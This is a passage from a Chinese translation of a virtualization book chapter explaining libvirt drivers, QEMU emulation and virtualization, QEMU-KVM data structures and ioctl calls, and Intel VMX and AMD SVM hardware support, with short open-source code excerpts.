根据客户端传递的连接 URI(例如,`virsh --connect QEMU://xxxx/system`),在初始化库时,此公共 API 在后台使用内部驱动程序。 是的,libvirt 中有不同类别的驱动程序实现。 例如,有`hypervisor`、`interface`、`network`、`nodeDevice`、`nwfilter`、`secret`、`storage`等。 请参考 libvirt 源代码中的`driver.h`,了解与不同驱动程序相关的驱动程序数据结构和其他函数。 - -以下面的例子为例: - -```sh -struct _virConnectDriver { -    virHypervisorDriverPtr hypervisorDriver; -    virInterfaceDriverPtr interfaceDriver; -    virNetworkDriverPtr networkDriver; -    virNodeDeviceDriverPtr nodeDeviceDriver; -    virNWFilterDriverPtr nwfilterDriver; -    virSecretDriverPtr secretDriver; -    virStorageDriverPtr storageDriver; -     }; -``` - -`struct`字段是不言而喻的,并传达每个字段成员表示哪种类型的驱动程序。 正如您可能假设的那样,其中一个重要或主要的驱动程序是系统管理器驱动程序,它是 libvirt 支持的不同系统管理器的驱动程序实现。 驱动程序被分类为**主要**和**次要**驱动程序。 管理器驱动程序是主驱动程序的一个示例。 下面的列表让我们对 libvirt 支持的管理器有了一些了解。 换句话说,以下虚拟机监控程序存在虚拟机监控程序级别的驱动程序实现(请查看`README`和 libvirt 源代码): - -* `bhyve`:BSD 虚拟机管理器 -* `esx/`:使用基于 SOAP 的 vSphere API 支持 VMware ESX 和 GSX -* `hyperv/`:使用 WinRM 支持 Microsoft Hyper-V -* `lxc/`:Linux 原生容器 -* `openvz/`:使用 CLI 工具的 OpenVZ 容器 -* `phyp/`:IBM Power Hypervisor 通过 SSH 使用 CLI 工具 -* `qemu/`:使用 QEMU CLI/显示器的 QEMU/KVM -* `remote/`:通用 libvirt 原生 RPC 客户端 -* `test/`:用于测试的*模拟*驱动程序 -* `uml/`:用户模式 Linux -* `vbox/`:使用原生 API 的 VirtualBox -* `vmware/`:使用`vmrun`工具的 VMware Workstation and Player -* `xen/`:使用超级调用、XenD SEXPR 和 XenStore 的 Xen -* `xenapi`:使用`libxenserver`的 Xen - -之前我们提到过,还有二级司机。 不是所有驱动程序,而是一些辅助驱动程序(见下文)由多个虚拟机管理器共享。 也就是说,目前这些辅助驱动程序由管理器(如 LXC、OpenVZ、QEMU、UML 和 Xen 驱动程序)使用。 ESX、Hyper-V、Power Hypervisor、Remote、Test 和 VirtualBox 驱动程序都直接实施辅助驱动程序。 - -次要级别驱动程序的示例包括以下内容: - -* `cpu/`:CPU 功能管理 -* `interface/`:主机网络接口管理 -* `network/`:虚拟 NAT 网络 -* `nwfilter/`:网络流量过滤规则 -* `node_device/`:主机设备枚举 -* `secret/`:秘密管理 -* `security/`:强制访问控制驱动程序 -* `storage/`:存储管理驱动程序 - -Libvirt 主要参与常规管理操作,例如创建和管理虚拟机器(访客域)。 执行这些操作需要额外的辅助驱动程序,例如接口设置、防火墙规则、存储管理和 API 的常规配置。 以下内容来自[https://libvirt.org/api.html](https://libvirt.org/api.html): - -OnDevice 应用获取到虚拟机管理器的 virConnectPtr 连接,然后可用于管理虚拟机管理器的可用域和相关虚拟化资源(如存储和网络)。所有这些资源都公开为第一类对象,并连接到虚拟机管理器连接(以及可用的节点或群集)。 - -下图显示了 API 导出的五个主要对象以及它们之间的连接关系: - -![Figure 2.11 – Exported API objects and their communication ](img/B14834_02_11.jpg) - -图 2.11-导出的 API 对象及其通信 - -让我们详细介绍 libvirt 代码中可用的主要对象。 Libvirt 中的大多数函数都使用这些对象进行操作: - -* `virConnectPtr`:如前所述,libvirt 必须连接到虚拟机管理器并执行操作。 到虚拟机管理器的连接已表示为此对象。 该对象是 libvirt API 中的核心对象之一。 -* `virDomainPtr`:虚拟机或访客系统在 libvirt 代码中通常称为域。 `virDomainPtr`表示活动/定义的域/虚拟机的对象。 -* `virStorageVolPtr`:存在对域/访客系统公开的不同存储卷。 `virStorageVolPtr`通常表示其中一个卷。 -* `virStoragePoolPtr`:导出的存储卷是其中一个存储池的一部分。 此对象表示其中一个存储池。 -* `virNetworkPtr`:在 libvirt 中,我们可以定义不同的网络。 单个虚拟网络(活动/定义状态)由`virNetworkPtr`对象表示。 - -现在您应该对 libvirt 实现的内部结构有了一些了解;可以进一步扩展: - -![Figure 2.12 – libvirt source code ](img/B14834_02_12.jpg) - -图 2.12-libvirt 源代码 - -我们感兴趣的领域是 QEMU/KVM。 那么,让我们进一步探讨一下。 在 libvirt 源代码存储库的`src`目录中,有一个用于 QEMU 管理器驱动程序实现代码的目录。 请注意源文件,如`qemu_driver.c`,它包含用于管理 QEMU 访客的核心驱动程序方法。 - -请参见以下示例: - -```sh -static virDrvOpenStatus qemuConnectOpen(virConnectPtr conn, -                                    virConnectAuthPtr auth ATTRIBUTE_UNUSED, -                                    unsigned int flags) -``` - -Libvirt 使用不同的驱动程序代码来探测底层管理器/仿真器。 在本书的上下文中,负责查找 QEMU/KVM 存在的 libvirt 组件是 QEMU 驱动程序代码。 该驱动程序探测`qemu-kvm`二进制文件和`/dev/kvm`设备节点,以确认 KVM 完全虚拟化的硬件加速客户机可用。 如果这些文件不可用,则使用二进制文件(如`qemu`、`qemu-system-x86_64`、`qemu-system-mips`、`qemu-system-microblaze`等)验证 QEMU 仿真器(没有 KVM)的可能性。 - -验证可以在`qemu_capabilities.c`中看到: - -```sh -from  (qemu_capabilities.c) -static int virQEMUCapsInitGuest ( ..,  .. ,  virArch hostarch,  virArch guestarch) -{ -... -binary = virQEMUCapsFindBinaryForArch (hostarch, guestarch); -... -native_kvm = (hostarch == guestarch); -x86_32on64_kvm = (hostarch == VIR_ARCH_X86_64 &&  guestarch == VIR_ARCH_I686); -... -if (native_kvm || x86_32on64_kvm || arm_32on64_kvm || ppc64_kvm) { -    const char *kvmbins[] = { -        "/usr/libexec/qemu-kvm", /* RHEL */ -        "qemu-kvm", /* Fedora */ -        "kvm", /* Debian/Ubuntu */    …}; -... -kvmbin = virFindFileInPath(kvmbins[i]); -... -virQEMUCapsInitGuestFromBinary (caps, binary, qemubinCaps, kvmbin, kvmbinCaps,guestarch);                  -... -} -``` - -然后,执行 KVM 启用,如以下代码片段所示: - -```sh -int virQEMUCapsInitGuestFromBinary(..., *binary, qemubinCaps, *kvmbin, kvmbinCaps, guestarch) -{ -……... -  if (virFileExists("/dev/kvm") && (virQEMUCapsGet(qemubinCaps, QEMU_CAPS_KVM) || -      virQEMUCapsGet(qemubinCaps, QEMU_CAPS_ENABLE_KVM) ||     kvmbin)) -      haskvm = true; -``` - -基本上,libvirt 的 QEMU 驱动程序在不同的发行版和不同的路径中查找不同的二进制文件-例如,RHEL/Fedora 中的`qemu-kvm`。 此外,它还根据主机和客户的体系结构组合找到了合适的 QEMU 二进制文件。 如果同时找到 QEMU 二进制文件和 KVM,那么 KVM 是完全虚拟化的,并且硬件加速的访客将可用。 Libvirt 还负责形成 qemu-kvm 进程的整个命令行参数。 最后,在形成整个命令行(`qemu_command.c`)参数和输入之后,libvirt 调用`exec()`来创建 qemu-kvm 进程: - -```sh -util/vircommand.c -static int virExec(virCommandPtr cmd) { -…... -  if (cmd->env) -    execve(binary, cmd->args, cmd->env); -  else -    execv(binary, cmd->args); -``` - -在 KVMland 中,有一种误解,认为 libvirt 直接使用 KVM 内核模块公开的设备文件(`/dev/kvm`),并指示 KVM 通过 KVM 提供的不同`ioctl()`函数调用进行虚拟化。 这的确是一种误解! 如前所述,libvirt 生成 qemu-kvm 进程,并且 qemu 与 KVM 内核模块对话。 简而言之,QEMU 通过与 KVM 内核模块公开的`/dev/kvm`设备文件不同的`ioctl()`与 KVM 对话。 要创建虚拟机(例如,`virsh create`),libvirt 所做的全部工作就是派生一个 QEMU 进程,该进程将创建虚拟机。 请注意,`libvirtd`会为每个虚拟机启动单独的 qemu-kvm 进程。 虚拟机的属性(CPU 数量、内存大小、I/O 设备配置等)在位于`/etc/libvirt/qemu`目录中的单独 XML 文件中定义。 这些 XML 文件包含 QEMU-KVM 进程开始运行虚拟机所需的所有必要设置。 Libvirt 客户端通过`libvirtd`正在监听的`AF_UNIX socket /var/run/libvirt/libvirt-sock`发出请求。 - -我们列表中的下一个主题是 QEMU-它是什么,它是如何工作的,以及它如何与 KVM 交互。 - -## QEMU - -QEMU 是由 Fabrice Bellard(FFmpeg 的创建者)编写的。 它是一款免费软件,主要是根据 GNU 的**通用公共许可证**(**GPL**)许可的。 QEMU 是一个通用的开源机器仿真器和虚拟器。 用作机器模拟器时,QEMU 可以在另一台机器(如您自己的 PC)上运行为一台机器(如 ARM 板)制作的操作系统和程序。 - -通过使用动态翻译,它获得了非常好的性能(参见[https://www.qemu.org/](https://www.qemu.org/))。 让我重新表述上一段,并给出更具体的解释。 QEMU 实际上是执行硬件虚拟化的托管虚拟机管理器/VMM。 你糊涂了吗? 如果是这样的话,别担心。 在本章结束时,您将对此有一个更好的了解,特别是当您浏览了每个相互关联的组件,并将这里使用的执行虚拟化的整个路径关联起来时。 QEMU 可以充当模拟器或虚拟器。 - -### 作为仿真器的 QEMU - -在前面的章中,我们讨论了二进制翻译。 当 QEMU 作为仿真器运行时,它能够在不同的机器类型上运行为一种机器类型制作的操作系统/程序。 这怎麽可能? 它只使用二进制翻译方法。 在这种模式下,QEMU 通过动态二进制转换技术模拟 CPU,并提供一组设备模型。 因此,它可以使用不同的架构运行不同的未经修改的访客操作系统。 这里需要二进制翻译,因为客户代码必须在主机 CPU 中执行。 执行此工作的二进制翻译器称为**微代码生成器**(**TCG**);它是一个**即时**(**JIT**)编译器。 它将为给定处理器编写的二进制代码转换为另一种形式的二进制代码(如 X86 中的 ARM),如下图所示(来自维基百科的 tcg 信息位于[https://en.wikipedia.org/wiki/QEMU#Tiny_Code_Generator](https://en.wikipedia.org/wiki/QEMU#Tiny_Code_Generator)): - -![Figure 2.13 – TCG in QEMU ](img/B14834_02_13.jpg) - -图 2.13-QEMU 中的 TCG - -通过使用这种方法,QEMU 可以牺牲一些执行速度来获得更广泛的兼容性。 请记住,如今大多数环境都基于不同的操作系统,这似乎是一种明智的权衡。 - -### QEMU 作为虚拟器 - -这是模式,在该模式下,QEMU 直接在主机 CPU 上执行客户代码,从而实现本机性能。 例如,在 Xen/KVM 管理器下工作时,QEMU 可以在此模式下运行。 如果 KVM 是底层虚拟机管理器,则 QEMU 可以虚拟化 Power PC、S390、x86 等嵌入式访客操作系统。 简而言之,使用前面提到的二进制转换方法,QEMU 能够在没有 KVM 的情况下运行。 与 KVM 支持的硬件加速虚拟化相比,这种执行速度会更慢。 在任何模式下,无论是作为虚拟器还是仿真器,QEMU*不仅仿真处理器,还仿真不同的外围设备,比如磁盘、网络、VGA、PCI、串行和并行端口、USB 等等。 除了这个 I/O 设备仿真之外,在使用 KVM 时,qemu-kvm 还会创建和初始化虚拟机。 如下图所示,它还为客户的每个**虚拟 CPU**(**vCPU**)初始化不同的 POSIX 线程。 它还提供了一个框架,用于在 qemu-kvm 的用户模式地址空间内模拟虚拟机的物理地址空间:* - -![Figure 2.14 – QEMU as a virtualizer ](img/B14834_02_14.jpg) - -图 2.14-作为虚拟化程序的 QEMU - -为了在物理 CPU 中执行客户代码,QEMU 使用 POSIX 线程。 也就是说,个访客 vCPU 在主机内核中作为 POSIX 线程执行。 这本身就带来了很多好处,因为从高层次的角度来看,这些只是主机内核的一些进程。 从另一个角度来看,KVM 虚拟机管理器的用户空间部分是由 QEMU 提供的。 QEMU 通过 KVM 内核模块运行客户代码。 在使用 KVM 时,QEMU 还执行 I/O 仿真、I/O 设备设置、实时迁移等。 - -QEMU 打开 KVM 内核模块公开的设备文件(`/dev/kvm`),并在其上执行`ioctl()`函数调用。 请参考 KVM 的下一节,以了解有关这些`ioctl()`函数调用的更多信息。 总之,KVM 利用 QEMU 成为一个完整的虚拟机管理器。 KVM 是处理器提供的硬件虚拟化扩展(VMX 或 SVM)的加速器或推动者,因此它们与 CPU 体系结构紧密耦合。 间接地,这意味着虚拟系统还必须使用相同的体系结构来利用硬件虚拟化扩展/功能。 一旦启用,它肯定会提供比其他技术(如二进制翻译)更好的性能。 - -我们的下一步是检查 QEMU 如何适应整个 KVM 故事。 - -## QEMU-KVM 内件 - -在开始研究 QEMU 内部结构之前,让我们先克隆 QEMU Git 存储库: - -```sh -# git clone git://git.qemu-project.org/qemu.git -``` - -克隆后,您可以看到 repo 中的文件层次结构,如以下屏幕截图所示: - -![Figure 2.15 – QEMU source code ](img/B14834_02_15.jpg) - -图 2.15-QEMU 源代码 - -一些重要的数据结构和`ioctl()`函数调用组成了 QEMU 用户空间和 KVM 内核空间。 一些重要的数据结构有`KVMState`、`CPU{X86}State`、`MachineState`等。 在我们进一步探讨内部结构之前,我想指出详细介绍它们超出了本书的范围;但是,我将给出足够的指导来理解幕后发生的事情,并给出更多的参考以作进一步的解释。 - -## 数据结构 - -在本节中,我们将讨论 QEMU 的一些重要数据结构。 `KVMState`结构包含 QEMU 中虚拟机表示的重要文件描述符。 例如,它包含虚拟机文件描述符,如以下代码所示: - -```sh -struct KVMState      ( kvm-all.c ) -{           ….. -  int fd; -  int vmfd; -  int coalesced_mmio; -    struct kvm_coalesced_mmio_ring *coalesced_mmio_ring; ….} -``` - -Qemu-kvm 维护一个`CPUX86State`结构列表,每个 vCPU 对应一个结构。 通用寄存器(以及 RSP 和 RIP)的内容是`CPUX86State`的一部分: - -```sh -struct CPUState { -….. -  int nr_cores; -  int nr_threads; -  … -  int kvm_fd; -           …. -  struct KVMState *kvm_state; -  struct kvm_run *kvm_run -} -``` - -此外,`CPUX86State`查看标准寄存器以进行异常和中断处理: - -```sh -typedef struct CPUX86State ( target/i386/cpu.h ) - { -  /* standard registers */ -  target_ulong regs[CPU_NB_REGS]; -…. -  uint64_t system_time_msr; -  uint64_t wall_clock_msr; -……. -  /* exception/interrupt handling */ -  int error_code; -  int exception_is_int; -…... -} -``` - -存在各种`ioctl()`函数调用:`kvm_ioctl()`、`kvm_vm_ioctl()`、`kvm_vcpu_ioctl()`、`kvm_device_ioctl()`等等。 有关函数定义,请访问 QEMU 源代码 Repo 中的`KVM-all.c`。 这些`ioctl()`函数调用从根本上映射到系统 KVM、虚拟机和 vCPU 级别。 这些`ioctl()`函数调用类似于按 KVM 分类的`ioctl()`函数调用。 我们将在深入研究 KVM 内部时讨论这个问题。 要访问 KVM 内核模块公开的这些`ioctl()`函数调用,qemu-kvm 必须打开`/dev/kvm`,生成的文件描述符存储在`KVMState->fd`中: - -* `kvm_ioctl()`:这些`ioctl()`函数调用主要在`KVMState->fd`参数上执行,其中`KVMState->fd`携带打开`/dev/kvm`得到的文件描述符-如下例所示: - - ```sh - kvm_ioctl(s, KVM_CHECK_EXTENSION, extension); - kvm_ioctl(s, KVM_CREATE_VM, type); - ``` - -* `kvm_vm_ioctl()`:这些`ioctl()`函数调用主要在`KVMState->vmfd`参数上执行-如下例所示: - - ```sh - kvm_vm_ioctl(s, KVM_CREATE_VCPU, (void *)vcpu_id); - kvm_vm_ioctl(s, KVM_SET_USER_MEMORY_REGION, &mem); - ``` - -* `kvm_vcpu_ioctl()`:这些`ioctl()`函数调用主要在`CPUState->kvm_fd`参数上执行,该参数是 KVM 的 vCPU 文件描述符-如下例所示: - - ```sh - kvm_vcpu_ioctl(cpu, KVM_RUN, 0); - ``` - -* `kvm_device_ioctl()`:这些`ioctl()`函数调用主要在设备`fd`参数上执行-如下例所示: - - ```sh - kvm_device_ioctl(dev_fd, KVM_HAS_DEVICE_ATTR, &attribute) ? 0 : 1; - ``` - -`kvm-all.c`是考虑 QEMU KVM 通信时的重要源文件之一。 - -现在,让我们继续看一下 QEMU 如何在 KVM 虚拟化环境中创建和初始化虚拟机和 vCPU。 - -`kvm_init()`是打开 KVM 设备文件的函数,如以下代码所示,它还填充`KVMState`的`fd [1]`和`vmfd [2]`: - -```sh -static int kvm_init(MachineState *ms) -{ -….. -KVMState *s; -      s = KVM_STATE(ms->accelerator); -    … -    s->vmfd = -1; -    s->fd = qemu_open("/dev/kvm", O_RDWR);   ----> [1] -    .. -     do { -          ret = kvm_ioctl(s, KVM_CREATE_VM, type); --->[2] -        } while (ret == -EINTR); -     s->vmfd = ret; -…. -      ret = kvm_arch_init(ms, s);   ---> ( target-i386/kvm.c: ) -..... -  } -``` - -正如您在前面的代码中看到的,带有`KVM_CREATE_VM`参数的`ioctl()`函数调用将返回`vmfd`。 一旦 QEMU 有了`fd`和`vmfd`,就需要再填充一个文件描述符,即`kvm_fd`或`vcpu fd`。 让我们来看看 QEMU 是如何填充的: - -```sh -main() -> -              -> cpu_init(cpu_model);      [#define cpu_init(cpu_model) CPU(cpu_x86_init(cpu_model)) ] -                  ->cpu_x86_create() -         ->qemu_init_vcpu -                      ->qemu_kvm_start_vcpu() -               ->qemu_thread_create -        ->qemu_kvm_cpu_thread_fn() -          -> kvm_init_vcpu(CPUState *cpu) -int kvm_init_vcpu(CPUState *cpu) -{ -  KVMState *s = kvm_state; -  ... -            ret = kvm_vm_ioctl(s, KVM_CREATE_VCPU, (void *)kvm_arch_vcpu_id(cpu)); -  cpu->kvm_fd = ret;   --->   [vCPU fd] -  .. -  mmap_size = kvm_ioctl(s, KVM_GET_VCPU_MMAP_SIZE, 0); -cpu->kvm_run = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,  cpu->kvm_fd, 0);  [3] -... -  ret = kvm_arch_init_vcpu(cpu);   [target-i386/kvm.c] -              ….. -} -``` - -一些内存页在 qemu-kvm 进程和 KVM 内核模块之间共享。 您可以在`kvm_init_vcpu()`函数中看到这样的映射。 也就是说,每个 vCPU 有两个主机内存页,为 QEMU 用户空间进程和 KVM 内核模块`kvm_run`和`pio_data`之间的通信提供了通道。 还要理解,在执行这些返回前面的`fds`的`ioctl()`函数调用期间,Linux 内核会分配一个文件结构和相关的匿名节点。 我们将在稍后讨论 KVM 时讨论内核部分。 - -我们已经看到 vCPU 是由 qemu-kvm 创建的`posix`个线程。 要运行访客代码,这些 vCPU 线程执行一个以`KVM_RUN`作为参数的`ioctl()`函数调用,如以下代码所示: - -```sh -int kvm_cpu_exec(CPUState *cpu) { -   struct kvm_run *run = cpu->kvm_run; -  .. -  run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0); -           ... -} -``` - -同样的函数`kvm_cpu_exec()`还定义了当控制用`VM exit`从 KVM 返回到 qemu-kvm 用户空间时需要执行的操作。 尽管我们稍后将讨论 KVM 和 QEMU 如何相互通信以代表客户执行操作,但让我在这里谈谈这一点。 KVM 是英特尔(Intel)和 AMD 等供应商提供的硬件扩展的推动者,它们的虚拟化扩展包括 SVM 和 VMX。 KVM 使用这些扩展直接在主机 CPU 上执行客户代码。 但是,如果发生事件-例如,作为操作的一部分,客户内核代码访问由 QEMU 模拟的硬件设备寄存器-那么 KVM 必须退出回 QEMU 并传递控制。 然后,QEMU 可以模拟操作的结果。 有不同的退出原因,如以下代码所示: - -```sh -  switch (run->exit_reason) { -          case KVM_EXIT_IO: -            DPRINTF("handle_io\n"); -             case KVM_EXIT_MMIO: -            DPRINTF("handle_mmio\n"); -   case KVM_EXIT_IRQ_WINDOW_OPEN: -            DPRINTF("irq_window_open\n"); -      case KVM_EXIT_SHUTDOWN: -            DPRINTF("shutdown\n"); -     case KVM_EXIT_UNKNOWN: -    ... -      case KVM_EXIT_INTERNAL_ERROR: -    … -    case KVM_EXIT_SYSTEM_EVENT: -            switch (run->system_event.type) { -              case KVM_SYSTEM_EVENT_SHUTDOWN: -        case KVM_SYSTEM_EVENT_RESET: -case KVM_SYSTEM_EVENT_CRASH: -``` - -现在我们已经了解了 QEMU-KVM 的内部结构,让我们讨论一下 QEMU 中的线程模型。 - -## QEMU 中的线程模型 - -QEMU-KVM 是一个多线程、事件驱动(带有大锁)的应用。 重要线索如下: - -* 主线 -* 虚拟磁盘 I/O 后端的工作线程 -* 每个 vCPU 对应一个线程 - -对于每个虚拟机,都有一个 QEMU 进程在主机系统中运行。 如果访客系统关闭,此进程将被销毁/退出。 除了 vCPU 线程之外,还有一些专用的 I/O 线程运行 SELECT(2)事件循环来处理 I/O,例如网络数据包和磁盘 I/O 完成。 I/O 线程也是由 QEMU 产生的。 简而言之,情况将是这样的: - -![Figure 2.16 – KVM guest ](img/B14834_02_16.jpg) - -图 2.16+KVM 访客 - -在我们进一步讨论这个问题之前,总是有一个关于访客系统的物理内存的问题:它位于哪里? 事情是这样的:客户 RAM 是在 QEMU 进程的虚拟地址空间内分配的,如上图所示。 也就是说,客户的物理 RAM 在 QEMU 进程地址空间内。 - -重要音符 - -有关线程的更多详细信息可以从位于[blog.vmsplice.net/2011/03/qemu-internals-overall-architecutre-and-html?m=1](http://blog.vmsplice.net/2011/03/qemu-internals-overall-architecutre-and-html?m=1)的线程模型获取。 - -事件循环线程也称为`iothread`。 事件循环用于计时器、文件描述符监视等。 `main_loop_wait()`是 QEMU 主事件循环线程。 这个主事件循环线程负责主循环服务,包括文件描述符回调、下半部分和计时器(在`qemu-timer.h`中定义)。 下半部分类似于立即执行但开销较低的计时器,并且调度它们是无等待、线程安全和信号安全的。 - -在我们结束 QEMU 代码库之前,我想指出设备代码主要有两个部分。 例如,目录块包含块设备代码的主机端,`hw/block/`包含设备仿真代码。 - -## KVM - -有一个通用的内核模块,称为`kvm.ko`,还有基于硬件的内核模块,如`kvm-intel.ko`(基于 Intel 的系统)和`kvm-amd.ko`(基于 AMD 的系统)。 因此,KVM 将加载`kvm-intel.ko`(如果存在`vmx`标志)或`kvm-amd.ko`(如果存在`svm`标志)模块。 这会将 Linux 内核转变为虚拟机管理器,从而实现虚拟化。 - -KVM 将名为`/dev/kvm`的设备文件公开给应用,以便它们可以利用提供的`ioctl()`函数调用系统调用。 QEMU 利用这个设备文件与 KVM 对话,并创建、初始化和管理虚拟机的内核模式上下文。 - -在前面,我们提到 qemu-kvm 用户空间在 qemu/kvm 的用户模式地址空间中托管虚拟机的物理地址空间,其中包括内存映射的 I/O。kvm 帮助我们实现这一点。 在 KVM 的帮助下,可以实现更多的功能。 以下是一些例子: - -* 模拟某些 I/O 设备;例如,(通过*MMIO*)每个 CPU 的本地 APIC 和系统范围的 IOAPIC。 -* 模拟某些*特权*(系统寄存器 CR0、CR3 和 CR4 的读/写)指令。 -* 通过`VMENTRY`运行客户代码并在`VMEXIT`处理*拦截的事件*的便利性。 -* *将*个事件(如虚拟中断和页面错误)注入到虚拟机的执行流中,依此类推。 这也是在 KVM 的帮助下实现的。 - -KVM 不是一个完整的虚拟机监控程序;但是,在 QEMU 和仿真器(针对 I/O 设备仿真和 BIOS 稍作修改的 QEMU)的帮助下,它可以成为一个完整的虚拟机监控程序。 KVM 需要支持硬件虚拟化的处理器才能运行。 使用这些功能,KVM 将标准 Linux 内核转变为管理器。 当 KVM 运行虚拟机时,每个虚拟机都是一个普通的 Linux 进程,显然可以由主机内核调度到 CPU 上运行,就像主机内核中存在的任何其他进程一样。 在[*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化*中,我们讨论了不同的 CPU 执行模式。 您可能还记得,主要有用户模式和内核/管理器模式。 KVM 是 Linux 内核中的一个虚拟化特性,它允许 QEMU 等程序直接在主机 CPU 上安全地执行访客代码。 这仅在主机 CPU 支持目标体系结构时才有可能。 - -但是,KVM 引入了另一种模式,称为访客模式。 简而言之,访客模式允许我们执行访客系统代码。 它既可以运行访客用户,也可以运行内核代码。 在支持虚拟化的硬件的支持下,KVM 虚拟化了进程状态、内存管理等。 - -#### 从 CPU 角度看虚拟化 - -利用其硬件虚拟化能力,处理器通过对主机和访客 OS 使用**虚拟机控制结构**(**VMCS**)和**虚拟机控制块**(**VMCB**)来管理处理器状态,并且它还代表虚拟化 OS 管理 I/O 和中断。 也就是说,随着这种类型硬件的引入,诸如 CPU 指令截取、寄存器读/写支持、存储器管理支持(**扩展页表**(**EPTS**)和**嵌套分页表**(**NPT**))、中断处理支持(APICv)、IOMMU 等任务进入画面。 KVM 使用标准的 Linux 调度器、内存管理和其他服务。 简而言之,KVM 所做的就是帮助用户空间程序利用硬件虚拟化功能。 在这里,您可以将 qemu 视为一个用户空间程序,因为它可以很好地集成到不同的用例中。 当我说*硬件加速虚拟化*时,我主要指的是 Intel VT-X 和 AMD-VS SVM。 引入虚拟化技术处理器带来了名为**VMX**的额外指令集。 - -使用英特尔的 VT-X,VMM 在*VMX 根操作模式*下运行,而访客(未修改的操作系统)在*VMX 非根操作模式*下运行。 此 VMX 为 CPU 带来了额外的虚拟化特定指令,如`VMPTRLD`、`VMPTRST`、`VMCLEAR`、`VMREAD`、`VMWRITE`、`VMCALL`、`VMLAUNCH`、`VMRESUME`、`VMXOFF`和`VMXON`。 **虚拟化模式**(**VMX**)由`VMXON`开启,并可由`VMXOFF`禁用。 要执行客户代码,我们必须使用`VMLAUNCH`/`VMRESUME`指令并保留`VMEXIT`。 但是等等,留下什么? 它是从非根操作到根操作的过渡。 显然,当我们进行此转换时,需要保存一些信息以便稍后提取。 英特尔提供了一种称为 VMCS 的结构来促进这种过渡;它处理大部分虚拟化管理功能。 例如,在`VMEXIT`的情况下,退出原因将记录在此结构内。 现在,我们如何从该结构中读取或写入?`VMREAD`和`VMWRITE`指令用于读取或写入各自的字段。 - -在此之前,我们讨论了 SLAT/EPT/AMD-Vi。 如果没有 EPT,虚拟机管理器必须退出虚拟机才能执行地址转换,这会降低性能。 正如我们在英特尔基于虚拟化的处理器的操作模式中注意到的那样,AMD 的 SVM 也有两种操作模式,它们只有主机模式和访客模式。 正如您可能已经假设的那样,虚拟机管理器在主机模式下运行,而访客系统在访客模式下运行。 显然,在访客模式下,某些指令可能会导致`VMEXIT`异常,这些异常的处理方式特定于进入访客模式的方式。 这里应该有一个与 VMCS 等价的结构,它被称为 VMCB;如前所述,它包含了`VMEXIT`的原因。 AMD 添加了 8 个新的指令操作码来支持 SVM。 例如,`VMRUN`指令开始客户操作系统的操作,`VMLOAD`指令从 VMCB 加载处理器状态,`VMSAVE`指令将处理器状态保存到 VMCB。 这就是 AMD 引入嵌套分页的原因,它类似于英特尔的 EPT。 - -当我们讨论硬件虚拟化扩展时,我们谈到了 VMCS 和 VMCB。 当我们考虑硬件加速虚拟化时,这些都是重要的数据结构。 这些控制块在`VMEXIT`场景中特别有用。 并不是每个操作都允许访客执行;同时,如果虚拟机管理器代表访客执行所有操作,也很困难。 虚拟机控制结构(如 VMCS 或 VMCB)控制此行为。 允许访客执行某些操作,例如更改隐藏控制寄存器中的某些位,但不允许执行其他操作。 这清楚地提供了对允许访客做什么和不允许做什么的细粒度控制。 VMCS 控制结构还提供对中断传递和异常的控制。 之前,我们说过`VMEXIT`的退出原因记录在 VMCS 中;它还包含一些关于它的数据。 例如,如果对控制寄存器的写访问导致退出,则关于源寄存器和目标寄存器的信息将记录在那里。 - -请注意 VMCS 或 VMCB 存储客户配置细节,例如机器控制位和处理器寄存器设置。 我建议您从源头上检查结构定义。 管理器还使用这些数据结构来定义访客执行时要监视的事件。 这些事件可以被拦截。 请注意,这些结构位于主机存储器中。 在使用`VMEXIT`时,访客状态保存在 VMCS 中。 如前所述,`VMREAD`指令从 VMCS 读取指定字段,而`VMWRITE`指令将指定字段写入 VMCS。 另外,请注意,每个 vCPU 有一个 VMCS 或 VMCB。 这些控制结构是主机存储器的一部分。 VCPU 状态记录在这些控制结构中。 - -#### KVM API - -如前所述,有三种主要类型的函数调用。 内核文档说明如下(您可以在[https://www.kernel.org/doc/Documentation/virtual/kvm/api.txt](https://www.kernel.org/doc/Documentation/virtual/kvm/api.txt)查看): - -三组 ioctl 组成了 KVM API。 KVM API 是一组用于控制虚拟机各个方面的 ioctls。 这些 ioctls 属于三个类: - --system ioctls:查询和设置全局属性,影响整个 KVM 子系统。 此外,系统 ioctl 用于创建虚拟机。 - --device ioctls:用于设备控制,从产生 VM 创建的同一上下文执行。 - --VM ioctls:这些查询和设置影响整个虚拟机的属性-例如,内存布局。 此外,虚拟机 ioctl 用于创建虚拟 CPU(VCPU)。 它从用于创建 VM 的同一进程(地址空间)运行 VM ioctls。 - --vCPU ioctls:这些查询和设置控制单个虚拟 CPU 操作的属性。 它们从用于创建 vCPU 的同一线程运行 vCPU ioctls。 - -要了解有关 KVM 公开的`ioctl()`函数调用和属于特定的`fd`组的`ioctl()`函数调用的更多信息,请参阅`KVM.h`。 - -请参见以下示例: - -```sh -/*  ioctls for /dev/kvm fds: */ -#define KVM_GET_API_VERSION     _IO(KVMIO,   0x00) -#define KVM_CREATE_VM           _IO(KVMIO,   0x01) /* returns a VM fd */ -….. -/*  ioctls for VM fds */ -#define KVM_SET_MEMORY_REGION   _IOW(KVMIO,  0x40, struct kvm_memory_region) -#define KVM_CREATE_VCPU         _IO(KVMIO,   0x41) -… -/* ioctls for vcpu fds  */ -#define KVM_RUN                   _IO(KVMIO,   0x80) -#define KVM_GET_REGS            _IOR(KVMIO,  0x81, struct kvm_regs) -#define KVM_SET_REGS            _IOW(KVMIO,  0x82, struct kvm_regs) -``` - -现在让我们讨论匿名 inode 和文件结构。 - -#### 匿名信息节点和文件结构 - -以前,当我们讨论 QEMU 时,我们说 Linux 内核分配文件结构并设置其`f_ops`和匿名 inode。 让我们看一下`kvm_main.c`文件: - -```sh -static struct file_operations kvm_chardev_ops = { -      .unlocked_ioctl = kvm_dev_ioctl, -      .llseek         = noop_llseek, -      KVM_COMPAT(kvm_dev_ioctl), -}; - kvm_dev_ioctl () -    switch (ioctl) { -          case KVM_GET_API_VERSION: -              if (arg) -                     goto out; -              r = KVM_API_VERSION; -              break; -          case KVM_CREATE_VM: -              r = kvm_dev_ioctl_create_vm(arg); -              break; -          case KVM_CHECK_EXTENSION: -              r = kvm_vm_ioctl_check_extension_generic(NULL, arg); -              break; -          case KVM_GET_VCPU_MMAP_SIZE: -  .    ….. -} -``` - 